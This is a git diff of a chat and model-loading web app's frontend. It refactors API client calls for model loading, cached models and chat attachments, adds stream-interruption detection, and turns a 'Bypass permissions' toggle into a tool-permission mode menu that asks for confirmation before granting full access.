@@ -89,11 +117,14 @@ export async function getApiMonitorEntry(id: string): Promise<ApiMonitorEntry> {
 export async function loadModel(
   payload: LoadModelRequest,
 ): Promise<LoadModelResponse> {
+  const preparedToken = await prepareHfTokenForUse(payload.hf_token);
+  if (!preparedToken.proceed) throw new Error("Model load cancelled.");
   const response = await authFetch("/api/inference/load", {
     method: "POST",
     headers: { "Content-Type": "application/json" },
     body: JSON.stringify({
       ...payload,
+      hf_token: preparedToken.token,
       native_path_lease: payload.nativePathLease ?? null,
       nativePathLease: undefined,
     }),
@@ -104,36 +135,48 @@ export async function loadModel(
 export async function validateModel(
   payload: LoadModelRequest,
 ): Promise<ValidateModelResponse> {
+  const preparedToken = await prepareHfTokenForUse(payload.hf_token);
+  if (!preparedToken.proceed) throw new Error("Model load cancelled.");
   const response = await authFetch("/api/inference/validate", {
     method: "POST",
     headers: { "Content-Type": "application/json" },
     body: JSON.stringify({
       model_path: payload.model_path,
       native_path_lease: payload.nativePathLease ?? null,
-      hf_token: payload.hf_token,
+      hf_token: preparedToken.token,
       gguf_variant: payload.gguf_variant ?? null,
-      // Send the intended load settings so validate's VRAM check matches the
-      // follow-up /load and doesn't unload for a load /load would then reject.
+      // Intended load settings so validate's preflight matches the follow-up
+      // /load. Default placement is sized against the selected GPUs.
       max_seq_length: payload.max_seq_length,
       load_in_4bit: payload.load_in_4bit,
+      gpu_ids: payload.gpu_ids,
+      // Manual placement is an explicit override: Auto layers use llama.cpp
+      // --fit, while a pinned layer count is owned by the user. Tell validate
+      // so it applies the same training-guard policy as /load.
+      gpu_memory_mode: payload.gpu_memory_mode,
     }),
   });
   return parseJsonOrThrow<ValidateModelResponse>(response);
 }
 
 /**
- * Read a GGUF's native context length from its local header (no GPU load, no
- * download). Returns null when the file isn't downloaded yet, the model isn't a
- * GGUF, or it's gated. For a native (drag-drop / picked) file, pass
- * `nativePathToken` so the backend reads the granted local path. Used by the
- * deferred-load staging flow to fill the context slider before the single load.
+ * Read a GGUF's header dims (native context length, total layer count, MoE
+ * expert-layer count) from its local file (no GPU load, no download). All are
+ * null when the file isn't downloaded yet, the model isn't a GGUF, or it's
+ * gated. For a native (drag-drop / picked) file, pass `nativePathToken` so the
+ * backend reads the granted local path. Used by the deferred-load staging flow
+ * to size the context, GPU-layers and MoE sliders before the single load.
  */
-export async function fetchGgufContextLength(payload: {
+export async function fetchGgufStagedMetadata(payload: {
   model_path: string;
   gguf_variant?: string | null;
   hf_token?: string | null;
   nativePathToken?: string | null;
-}): Promise<number | null> {
+}): Promise<{
+  contextLength: number | null;
+  layerCount: number | null;
+  moeLayerCount: number | null;
+}> {
   let nativePathLease: string | null = null;
   if (payload.nativePathToken) {
     try {
@@ -141,8 +184,8 @@ export async function fetchGgufContextLength(payload: {
         await consumeNativePathToken(payload.nativePathToken, "validate-model")
       ).nativePathLease;
     } catch {
-      // Lease expired / revoked: degrade to no context (the load can re-mint).
-      return null;
+      // Lease expired / revoked: degrade to no metadata (the load can re-mint).
+      return { contextLength: null, layerCount: null, moeLayerCount: null };
     }
   }
   const response = await authFetch("/api/inference/validate", {
@@ -157,7 +200,11 @@ export async function fetchGgufContextLength(payload: {
     }),
   });
   const res = await parseJsonOrThrow<ValidateModelResponse>(response);
-  return res.context_length ?? null;
+  return {
+    contextLength: res.context_length ?? null,
+    layerCount: res.layer_count ?? null,
+    moeLayerCount: res.moe_layer_count ?? null,
+  };
 }
 
 export async function unloadModel(payload: UnloadModelRequest): Promise<void> {
@@ -196,6 +243,7 @@ export async function resolveToolConfirmation(
 
 export interface CachedGgufRepo {
   repo_id: string;
+  load_id?: string | null;
   size_bytes: number;
   cache_path: string;
   /** Epoch seconds of the newest downloaded quant; sorts Downloaded
@@ -295,43 +343,72 @@ interface LocalModelListResponse {
   models: LocalModelInfo[];
 }
 
-export async function listLocalModels(): Promise<LocalModelListResponse> {
-  const response = await authFetch("/api/models/local");
+export async function listLocalModels(
+  signal?: AbortSignal,
+): Promise<LocalModelListResponse> {
+  const response = await authFetch("/api/models/local", { signal });
   return parseJsonOrThrow<LocalModelListResponse>(response);
 }
 
-export async function listCachedGguf(): Promise<CachedGgufRepo[]> {
-  const response = await authFetch("/api/models/cached-gguf");
+export async function listCachedGguf(
+  signal?: AbortSignal,
+): Promise<CachedGgufRepo[]> {
+  const response = await authFetch("/api/hub/cached-gguf", { signal });
   const data = await parseJsonOrThrow<{ cached: CachedGgufRepo[] }>(response);
   return data.cached;
 }
 
 export interface CachedModelRepo {
   repo_id: string;
+  load_id?: string | null;
   size_bytes: number;
   /** Epoch seconds of the newest downloaded weight file; sorts Downloaded
    * newest-first. Optional for older-backend compatibility. */
   last_modified?: number;
+  /** Owning cache dir; sent so a delete targets this copy, not the active
+   * cache. Optional for older-backend compatibility. */
+  cache_path?: string | null;
 }
 
 export async function listCachedModels(
   hfToken?: string | null,
+  signal?: AbortSignal,
 ): Promise<CachedModelRepo[]> {
-  const response = await authFetch("/api/models/cached-models", {
+  const response = await authFetch("/api/hub/cached-models", {
     headers: hubTokenHeader(hfToken),
+    signal,
   });
   const data = await parseJsonOrThrow<{ cached: CachedModelRepo[] }>(response);
   return data.cached;
 }
 
-export async function deleteCachedModel(
+export interface CachedModelPath {
+  path: string;
+  is_dir: boolean;
+}
+
+/** Absolute on-disk path of a cached repo or one of its GGUF variants. */
+export async function getCachedModelPath(
+  repoId: string,
+  variant?: string,
+): Promise<CachedModelPath> {
+  const params = new URLSearchParams({ repo_id: repoId });
+  if (variant) params.set("variant", variant);
+  const response = await authFetch(
+    `/api/models/cached-model-path?${params.toString()}`,
+  );
+  return parseJsonOrThrow<CachedModelPath>(response);
+}
+
+/** Reveal a cached repo (or one GGUF variant's file) in the OS file manager. */
+export async function revealCachedModel(
   repoId: string,
   variant?: string,
 ): Promise<void> {
   const payload: Record<string, string> = { repo_id: repoId };
   if (variant) payload.variant = variant;
-  const response = await authFetch("/api/models/delete-cached", {
-    method: "DELETE",
+  const response = await authFetch("/api/models/reveal-cached-model", {
+    method: "POST",
     headers: { "Content-Type": "application/json" },
     body: JSON.stringify(payload),
   });
@@ -408,6 +485,73 @@ export async function listChatThreads(
   return Array.isArray(data.threads) ? data.threads : [];
 }
 
+/** One chat message attachment, as listed for the settings uploaded-files view. */
+export interface ChatAttachmentRecord {
+  id: string;
+  messageId: string;
+  threadId: string;
+  pairId?: string | null;
+  threadTitle?: string | null;
+  name: string;
+  type?: string | null;
+  contentType?: string | null;
+  sizeBytes?: number | null;
+  createdAt?: number | null;
+}
+
+export interface ChatAttachmentPage {
+  attachments: ChatAttachmentRecord[];
+  nextOffset: number | null;
+}
+
+export async function listChatAttachments(
+  offset = 0,
+  limit = 50,
+): Promise<ChatAttachmentPage> {
+  const params = new URLSearchParams({
+    limit: String(limit),
+    offset: String(offset),
+  });
+  const response = await authFetch(`/api/chat/attachments?${params}`);
+  const data = await parseJsonOrThrow<{
+    attachments: ChatAttachmentRecord[];
+    nextOffset: number | null;
+  }>(response);
+  return {
+    attachments: Array.isArray(data.attachments) ? data.attachments : [],
+    nextOffset:
+      typeof data.nextOffset === "number" && Number.isFinite(data.nextOffset)
+        ? data.nextOffset
+        : null,
+  };
+}
+
+/** Stored attachment content (image bytes or extracted text) as a Blob. */
+export async function fetchChatAttachmentBlob(
+  messageId: string,
+  attachmentId: string,
+): Promise<Blob> {
+  const response = await authFetch(
+    `/api/chat/attachments/${encodeURIComponent(messageId)}/${encodeURIComponent(attachmentId)}/file`,
+  );
+  if (!response.ok) {
+    const body = await response.json().catch(() => null);
+    throw new Error(parseErrorText(response.status, body));
+  }
+  return response.blob();
+}
+
+export async function deleteChatAttachment(
+  messageId: string,
+  attachmentId: string,
+): Promise<void> {
+  const response = await authFetch(
+    `/api/chat/attachments/${encodeURIComponent(messageId)}/${encodeURIComponent(attachmentId)}`,
+    { method: "DELETE" },
+  );
+  await parseJsonOrThrow<{ ok: boolean }>(response);
+}
+
 export async function getChatThread(
   threadId: string,
 ): Promise<ThreadRecord | null> {
@@ -532,7 +676,7 @@ export async function saveChatProject(
     body: JSON.stringify(project),
   });
   const saved = await parseJsonOrThrow<ProjectRecord>(response);
-  notifyChatHistoryUpdated();
+  notifyChatProjectsUpdated();
   return saved;
 }
 
@@ -549,7 +693,7 @@ export async function updateChatProject(
     },
   );
   const project = await parseJsonOrThrow<ProjectRecord>(response);
-  notifyChatHistoryUpdated();
+  notifyChatProjectsUpdated();
   return project;
 }
 
@@ -565,7 +709,7 @@ export async function deleteChatProject(
     { method: "DELETE" },
   );
   await parseJsonOrThrow<ProjectRecord>(response);
-  notifyChatHistoryUpdated();
+  notifyChatProjectsUpdated();
 }
 
 export async function listChatMessages(
@@ -781,8 +925,19 @@ export async function browseFolders(
 export async function listGgufVariants(
   repoId: string,
   hfToken?: string,
+  options?: {
+    preferLocalCache?: boolean;
+    localPath?: string | null;
+  },
 ): Promise<GgufVariantsResponse> {
   const params = new URLSearchParams({ repo_id: repoId });
+  if (options?.preferLocalCache) {
+    params.set("prefer_local_cache", "true");
+  }
+  const localPath = options?.localPath?.trim();
+  if (localPath) {
+    params.set("local_path", localPath);
+  }
   const response = await authFetch(`/api/models/gguf-variants?${params}`, {
     headers: hubTokenHeader(hfToken),
   });
@@ -851,12 +1006,18 @@ export async function* streamChatCompletions(
   const decoder = new TextDecoder();
   let buffer = "";
   let completed = false;
+  // EOF without `[DONE]` or a finish_reason chunk means the stream was cut
+  // mid-generation: surface as interrupted, not silent success.
+  let sawTerminalSignal = false;
 
   try {
     while (true) {
       const { done, value } = await reader.read();
       if (done) {
         completed = true;
+        if (!sawTerminalSignal) {
+          throw new StreamInterruptedError();
+        }
         break;
       }
 
@@ -877,6 +1038,7 @@ export async function* streamChatCompletions(
         const dataText = dataLines.join("\n");
         if (dataText === "[DONE]") {
           completed = true;
+          sawTerminalSignal = true;
           return;
         }
 
@@ -903,10 +1065,14 @@ export async function* streamChatCompletions(
           separatorIndex = buffer.search(/\r?\n\r?\n/);
           continue;
         }
-        // Tool start/end events carry full input/output for the tool outputs panel
+        // tool_start/end carry full input/output; tool_output streams
+        // incremental stdout and tool_args streams the call arguments live.
         if (
           "type" in parsed &&
-          (parsed.type === "tool_start" || parsed.type === "tool_end")
+          (parsed.type === "tool_start" ||
+            parsed.type === "tool_end" ||
+            parsed.type === "tool_output" ||
+            parsed.type === "tool_args")
         ) {
           yield { _toolEvent: parsed } as unknown as OpenAIChatChunk;
           separatorIndex = buffer.search(/\r?\n\r?\n/);
@@ -920,11 +1086,22 @@ export async function* streamChatCompletions(
           parsed.type === "reasoning_summary"
         ) {
           yield {
-            _reasoningDurationMs: (parsed as { duration_ms?: number }).duration_ms,
+            _reasoningDurationMs: (parsed as { duration_ms?: number })
+              .duration_ms,
           } as unknown as OpenAIChatChunk;
           separatorIndex = buffer.search(/\r?\n\r?\n/);
           continue;
         }
+        // finish_reason is a valid terminal signal for providers that close
+        // the stream without an explicit [DONE] sentinel.
+        const finishReason = (
+          parsed as {
+            choices?: Array<{ finish_reason?: string | null }>;
+          }
+        ).choices?.[0]?.finish_reason;
+        if (finishReason) {
+          sawTerminalSignal = true;
+        }
         yield parsed as OpenAIChatChunk;
         separatorIndex = buffer.search(/\r?\n\r?\n/);
       }
diff --git a/studio/frontend/src/features/chat/api/chat-settings-api.ts b/studio/frontend/src/features/chat/api/chat-settings-api.ts
index 1ac569efc7..1e00357ea4 100644
--- a/studio/frontend/src/features/chat/api/chat-settings-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-settings-api.ts
@@ -26,6 +26,7 @@ export interface PersistedChatSettings {
   collapseHtmlArtifacts?: boolean;
   allowArtifactNetworkAccess?: boolean;
   autoHealToolCalls?: boolean;
+  nudgeToolCalls?: boolean;
   maxToolCallsPerMessage?: number;
   toolCallTimeout?: number;
 }
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
index a1dabe8ecd..531b17522d 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
@@ -8,7 +8,7 @@ import { cn } from "@/lib/utils";
 import { useAuiState } from "@assistant-ui/react";
 import { LayoutTwoColumnIcon as Layout2ColumnIcon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useLayoutEffect, useMemo } from "react";
+import { useLayoutEffect, useMemo, useRef } from "react";
 import { useChatRuntimeStore } from "../stores/chat-runtime-store";
 import type { ArtifactViewMode } from "./html-frame";
 import {
@@ -23,7 +23,7 @@ import {
 } from "./types";
 
 const CARD_BASE =
-  "group/artifact-card relative flex min-h-[52px] cursor-pointer items-center overflow-hidden rounded-lg border border-border/70 bg-muted/15 px-3 py-2 text-left transition-colors hover:bg-muted/25 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 dark:bg-muted/10 dark:hover:bg-muted/20";
+  "group/artifact-card relative flex min-h-[52px] cursor-pointer items-center overflow-hidden rounded-lg border border-border/70 bg-muted/15 px-3 py-2 text-left transition-colors hover:bg-muted/25 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:bg-muted/10 dark:hover:bg-muted/20";
 
 export function ArtifactCard({
   code,
@@ -83,15 +83,18 @@ export function ArtifactCard({
     ],
   );
   const surface = artifactThreadId ? "panel" : "overlay";
+  // Once per mount, so a view-change cleanup can't re-trigger a stale open.
+  const autoOpenAttemptedRef = useRef(false);
 
   useLayoutEffect(() => {
     if (selectedArtifactId === artifact.id) {
       updateArtifact(artifact);
     }
 
-    if (!autoOpen) {
+    if (!autoOpen || autoOpenAttemptedRef.current) {
       return;
     }
+    autoOpenAttemptedRef.current = true;
     if (hasAutoOpenedArtifact(artifact.id)) {
       return;
     }
@@ -142,12 +145,12 @@ export function ArtifactCard({
             <span className="truncate text-sm font-medium leading-tight text-foreground">
               {isCode ? "HTML Code" : artifact.title}
             </span>
-            <span className="truncate text-[11px] leading-none text-muted-foreground">
+            <span className="truncate text-ui-11 leading-none text-muted-foreground">
               HTML canvas
             </span>
           </span>
           {isStreaming && !isCode ? (
-            <span className="shimmer shrink-0 rounded-full bg-primary/10 px-2 py-0.5 text-[10px] font-medium text-primary motion-reduce:animate-none">
+            <span className="shimmer shrink-0 rounded-full bg-primary/10 px-2 py-0.5 text-ui-10 font-medium text-primary motion-reduce:animate-none">
               Generating
             </span>
           ) : null}
diff --git a/studio/frontend/src/features/chat/artifacts/html-frame.tsx b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
index b26f2f6685..36e3ed8a5b 100644
--- a/studio/frontend/src/features/chat/artifacts/html-frame.tsx
+++ b/studio/frontend/src/features/chat/artifacts/html-frame.tsx
@@ -28,7 +28,7 @@ export function buildArtifactSrcDoc(code: string): string {
 }
 
 // Preview iframes intentionally omit allow-downloads: generated canvases can
-// offer their own UI, but downloads must go through Studio's explicit
+// offer their own UI, but downloads must go through Unsloth's explicit
 // copy/download controls outside the no-same-origin sandbox.
 export function ArtifactHtmlFrame({
   code,
diff --git a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
index 14cb6747e9..8c9a528e66 100644
--- a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
+++ b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
@@ -14,45 +14,45 @@ import {
   AlertDialogHeader,
   AlertDialogTitle,
 } from "@/components/ui/alert-dialog";
-import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
+import {
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+} from "@/components/ui/dropdown-menu";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
-import { Tick02Icon } from "@/lib/tick-icon";
+import {
+  FULL_ACCESS_WARNING,
+  PermissionModeMenuItems,
+} from "./permission-mode-select";
 
-// "Bypass permissions" entry for the composer "+" -> More menu. Mirrors the
-// settings toggle: enabling demands the danger warning, disabling is immediate.
-// The menu closes normally on select (no preventDefault) -- the warning dialog
-// lives outside the menu (BypassPermissionsConfirmDialog, mounted once at the
-// chat-page root and driven by the store), so it survives the menu unmounting
-// and the "+"/More popovers don't stay frozen.
+// Tool permissions entry for the composer "+" menu.
 export function BypassPermissionsMenuItem() {
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
   const setBypassConfirmOpen = useChatRuntimeStore(
     (s) => s.setBypassConfirmOpen,
   );
 
   return (
-    <DropdownMenuItem
-      className={bypassPermissions ? "text-bypass font-medium" : undefined}
-      onSelect={() => {
-        if (bypassPermissions) {
-          setBypassPermissions(false);
-        } else {
-          // Defer past Radix's menu-close focus restoration: opening the dialog
-          // synchronously here lets the dropdown grab focus back and breaks the
-          // dialog's focus trap.
-          setTimeout(() => setBypassConfirmOpen(true), 0);
+    <DropdownMenuSub>
+      <DropdownMenuSubTrigger
+        className={
+          permissionMode === "full" ? "text-bypass font-medium" : undefined
         }
-      }}
-    >
-      <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
-      Bypass permissions
-      {bypassPermissions ? (
-        <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
-      ) : null}
-    </DropdownMenuItem>
+      >
+        <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
+        Tool permissions
+      </DropdownMenuSubTrigger>
+      <DropdownMenuSubContent className="unsloth-plus-menu w-[300px]">
+        <PermissionModeMenuItems
+          // Defer past Radix's menu-close focus restoration: opening the
+          // dialog synchronously here lets the dropdown grab focus back and
+          // breaks the dialog's focus trap.
+          onRequestFullAccess={() =>
+            setTimeout(() => setBypassConfirmOpen(true), 0)
+          }
+        />
+      </DropdownMenuSubContent>
+    </DropdownMenuSub>
   );
 }
 
@@ -63,19 +63,15 @@ export function BypassPermissionsMenuItem() {
 export function BypassPermissionsConfirmDialog() {
   const open = useChatRuntimeStore((s) => s.bypassConfirmOpen);
   const setOpen = useChatRuntimeStore((s) => s.setBypassConfirmOpen);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
 
   return (
     <AlertDialog open={open} onOpenChange={setOpen}>
       <AlertDialogContent size="sm">
         <AlertDialogHeader>
-          <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
+          <AlertDialogTitle>Enable Full access?</AlertDialogTitle>
           <AlertDialogDescription>
-            Bypass permissions is dangerous since the AI model might delete,
-            corrupt your machine, and or cause real world damage to you or the
-            world - only accept if you are certain
+            {FULL_ACCESS_WARNING}
           </AlertDialogDescription>
         </AlertDialogHeader>
         <AlertDialogFooter>
@@ -84,7 +80,7 @@ export function BypassPermissionsConfirmDialog() {
             variant="destructive"
             className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
             onClick={() => {
-              setBypassPermissions(true);
+              setPermissionMode("full");
               setOpen(false);
             }}
           >
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index cd7cfc77fc..e46ea0ac46 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -2,18 +2,50 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import {
+  applyModelLoadConfigToRuntime,
+  currentRuntimePerModelConfig,
   type DeletedModelRef,
   type ExternalModelOption,
   type LoraModelOption,
   type ModelOption,
   ModelSelector,
-} from "@/components/assistant-ui/model-selector";
-import {
-  loadRememberedLoadSettings,
-  rememberedLoadSettingsKey,
-} from "@/components/assistant-ui/model-selector/remembered-load-settings";
+  type ModelSelectorChangeMeta,
+  type PerModelConfig,
+  resolveInitialConfig,
+  SidebarModelConfig,
+  useActiveModelConfig,
+} from "@/features/model-picker";
 import { ProjectComposer, Thread } from "@/components/assistant-ui/thread";
 import { CopyableErrorChip } from "@/components/ui/copyable-error-chip";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from "@/components/ui/dialog";
+import { Input } from "@/components/ui/input";
 import {
   ResizableHandle,
   ResizablePanel,
@@ -21,10 +53,10 @@ import {
 } from "@/components/ui/resizable";
 import { useSidebar } from "@/components/ui/sidebar";
 import { Tooltip, TooltipContent } from "@/components/ui/tooltip";
-import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
 import {
   DOWNLOAD_KIND,
   downloadManager,
+  useRepoDownload,
 } from "@/features/hub/download-manager";
 import {
   type NativeIntent,
@@ -35,15 +67,25 @@ import {
   useNativeModelDrop,
   useNativePathLeasesSupported,
 } from "@/features/native-intents";
-import { ProjectSourcesPanel } from "@/features/rag/components/project-sources-panel";
 import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { isTauri } from "@/lib/api-base";
+import { isDownloadCancelled } from "@/lib/native-files";
 import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import {
+  Archive03Icon,
   BubbleChatTemporaryIcon,
+  Delete02Icon,
+  Download01Icon,
+  Edit03Icon,
+  Folder01Icon,
   Folder02Icon,
+  FolderExportIcon,
   LayoutAlignRightIcon,
+  MoreHorizontalIcon,
+  MoreVerticalIcon,
+  PinIcon,
+  PinOffIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
@@ -51,7 +93,9 @@ import { Tooltip as TooltipPrimitive } from "radix-ui";
 import {
   type CSSProperties,
   type ReactElement,
+  lazy,
   memo,
+  Suspense,
   useCallback,
   useEffect,
   useMemo,
@@ -59,7 +103,7 @@ import {
   useState,
 } from "react";
 import type { PanelImperativeHandle } from "react-resizable-panels";
-import { listLocalModels } from "./api/chat-api";
+import { listLocalModels, notifyChatHistoryUpdated } from "./api/chat-api";
 import { ArtifactSurface } from "./artifacts/artifact-surface";
 import {
   clearAutoOpenedArtifacts,
@@ -78,12 +122,21 @@ import {
 } from "./external-providers";
 import { useChatModelRuntime } from "./hooks/use-chat-model-runtime";
 import type { SelectedModelInput } from "./hooks/use-chat-model-runtime";
-import { useChatProjects } from "./hooks/use-chat-projects";
+import {
+  deleteChatProject,
+  moveChatItemToProject,
+  renameChatProject,
+  useChatProjects,
+} from "./hooks/use-chat-projects";
 import {
   type SidebarItem,
+  archiveChatItem,
+  deleteChatItem,
+  renameChatItem,
   useChatSidebarItems,
 } from "./hooks/use-chat-sidebar-items";
-import { useStagedModelPreparation } from "./hooks/use-staged-model-preparation";
+import { usePinnedChatsStore } from "./stores/pinned-chats-store";
+import { usePinnedProjectsStore } from "./stores/pinned-projects-store";
 import {
   clearTrainingCompareHandoff,
   getTrainingCompareHandoff,
@@ -118,10 +171,8 @@ import {
   hasGgufSource,
   isDownloadableHubRepo,
   loadOptionalBool,
-  pendingSelectionMatches,
   useChatRuntimeStore,
 } from "./stores/chat-runtime-store";
-import type { PendingModelSelection } from "./stores/chat-runtime-store";
 import { useChatPreferencesStore } from "./stores/chat-preferences-store";
 import { useExternalProvidersStore } from "./stores/external-providers-store";
 import { buildChatTourSteps } from "./tour";
@@ -134,6 +185,13 @@ import {
 } from "./utils/chat-history-storage";
 import { isAssistantLocalThreadId } from "./utils/thread-ids";
 
+
+const ProjectSourcesPanel = lazy(() =>
+  import("@/features/rag/components/project-sources-panel").then((module) => ({
+    default: module.ProjectSourcesPanel,
+  })),
+);
+
 type LoraCandidate = {
   id: string;
   baseModel: string;
@@ -230,13 +288,13 @@ const SingleContent = memo(function SingleContent({
     useState(false);
   const [isArtifactSurfaceVisible, setIsArtifactSurfaceVisible] =
     useState(false);
+  // Without a URL threadId the artifact must belong to the active thread.
   const showArtifactPanel = Boolean(
     artifact &&
       artifactSurface === "panel" &&
       (threadId
         ? !artifact.threadId || artifact.threadId === threadId
-        : Boolean(newThreadNonce) ||
-          Boolean(artifact.threadId && artifact.threadId === activeThreadId)),
+        : Boolean(artifact.threadId && artifact.threadId === activeThreadId)),
   );
 
   const artifactLayoutActive = showArtifactPanel || isArtifactPanelLayoutActive;
@@ -368,6 +426,7 @@ type CompareModelSelection = {
   id: string;
   isLora: boolean;
   ggufVariant?: string;
+  config?: PerModelConfig;
 };
 
 function modelMatchesDeleted(
@@ -592,7 +651,7 @@ const LoraCompareContent = memo(function LoraCompareContent({
           handleName="base"
           header={
             <div className="shrink-0 px-3 py-1.5">
-              <span className="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+              <span className="text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
                 Base Model
               </span>
             </div>
@@ -607,7 +666,7 @@ const LoraCompareContent = memo(function LoraCompareContent({
           borderClassName="border-t border-border/60 md:border-t-0 md:border-l"
           header={
             <div className="shrink-0 px-3 py-1.5 text-start md:text-end md:pr-[calc(4rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]">
-              <span className="text-[10px] font-semibold uppercase tracking-wider text-primary">
+              <span className="text-ui-10 font-semibold uppercase tracking-wider text-primary">
                 Fine-tuned
               </span>
             </div>
@@ -628,6 +687,8 @@ function GeneralCompareHeader({
   loraModels,
   externalModels,
   value,
+  selectedConfig,
+  selectedGgufVariant,
   onValueChange,
   onFoldersChange,
   onModelsChange,
@@ -638,9 +699,11 @@ function GeneralCompareHeader({
   loraModels: LoraModelOption[];
   externalModels: ExternalModelOption[];
   value: string;
+  selectedConfig?: PerModelConfig | null;
+  selectedGgufVariant?: string | null;
   onValueChange: (
     id: string,
-    meta: { isLora: boolean; ggufVariant?: string },
+    meta: ModelSelectorChangeMeta,
   ) => void;
   onFoldersChange?: () => void;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
@@ -667,6 +730,8 @@ function GeneralCompareHeader({
         loraModels={loraModels}
         externalModels={externalModels}
         value={value}
+        selectedConfig={selectedConfig}
+        selectedGgufVariant={selectedGgufVariant}
         onValueChange={onValueChange}
         onFoldersChange={onFoldersChange}
         onModelsChange={onModelsChange}
@@ -794,11 +859,14 @@ const GeneralCompareContent = memo(function GeneralCompareContent({
               loraModels={loraModels}
               externalModels={externalModels}
               value={model1.id}
+              selectedConfig={model1.config}
+              selectedGgufVariant={model1.ggufVariant}
               onValueChange={(id, meta) =>
                 setModel1({
                   id,
                   isLora: meta.isLora,
                   ggufVariant: meta.ggufVariant,
+                  config: meta.config,
                 })
               }
               onFoldersChange={onFoldersChange}
@@ -821,11 +889,14 @@ const GeneralCompareContent = memo(function GeneralCompareContent({
               loraModels={loraModels}
               externalModels={externalModels}
               value={model2.id}
+              selectedConfig={model2.config}
+              selectedGgufVariant={model2.ggufVariant}
               onValueChange={(id, meta) =>
                 setModel2({
                   id,
                   isLora: meta.isLora,
                   ggufVariant: meta.ggufVariant,
+                  config: meta.config,
                 })
               }
               onFoldersChange={onFoldersChange}
@@ -846,6 +917,47 @@ function formatProjectChatDate(timestamp: number): string {
   }).format(new Date(timestamp));
 }
 
+// Unique thread nonce; falls back off crypto.randomUUID for non-secure
+// (HTTP LAN) contexts where it is unavailable.
+function createThreadNonce(): string {
+  if (typeof globalThis.crypto?.randomUUID === "function") {
+    return globalThis.crypto.randomUUID();
+  }
+  return `${Date.now()}-${Math.random().toString(36).slice(2, 10)}`;
+}
+
+// Chat export formats, mirroring the sidebar chat menu.
+type ProjectChatExportFormat = "raw-jsonl" | "csv" | "sharegpt-jsonl";
+const PROJECT_CHAT_EXPORT_OPTIONS: Array<{
+  label: string;
+  format: ProjectChatExportFormat;
+}> = [
+  { label: "Raw JSONL", format: "raw-jsonl" },
+  { label: "CSV", format: "csv" },
+  { label: "ShareGPT JSONL", format: "sharegpt-jsonl" },
+];
+
+async function exportProjectConversation(
+  threadId: string,
+  format: ProjectChatExportFormat,
+): Promise<void> {
+  const exports = await import("./prompt-storage/prompt-storage-dialog");
+  if (format === "raw-jsonl") return exports.exportConversationRawJsonl(threadId);
+  if (format === "csv") return exports.exportConversationCsv(threadId);
+  return exports.exportConversationShareGPT(threadId);
+}
+
+async function exportProjectChatItem(
+  item: SidebarItem,
+  format: ProjectChatExportFormat,
+): Promise<void> {
+  const ids =
+    item.type === "single"
+      ? [item.id]
+      : (await listStoredChatThreads({ pairId: item.id })).map((t) => t.id);
+  for (const id of ids) await exportProjectConversation(id, format);
+}
+
 function extractMessageText(content: MessageRecord["content"]): string {
   if (typeof content === "string") {
     return content;
@@ -880,6 +992,9 @@ function ProjectLanding({
   items: SidebarItem[];
 }): ReactElement {
   const navigate = useNavigate();
+  // Gates body-portaled surfaces so they can't linger or act while the landing
+  // is off-route (e.g. behind another tab).
+  const active = useChatActive();
   const activeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
   const initialActiveThreadRef = useRef<string | null>(null);
   const [projectTab, setProjectTab] = useState<"chats" | "sources">("chats");
@@ -887,11 +1002,76 @@ function ProjectLanding({
     null,
   );
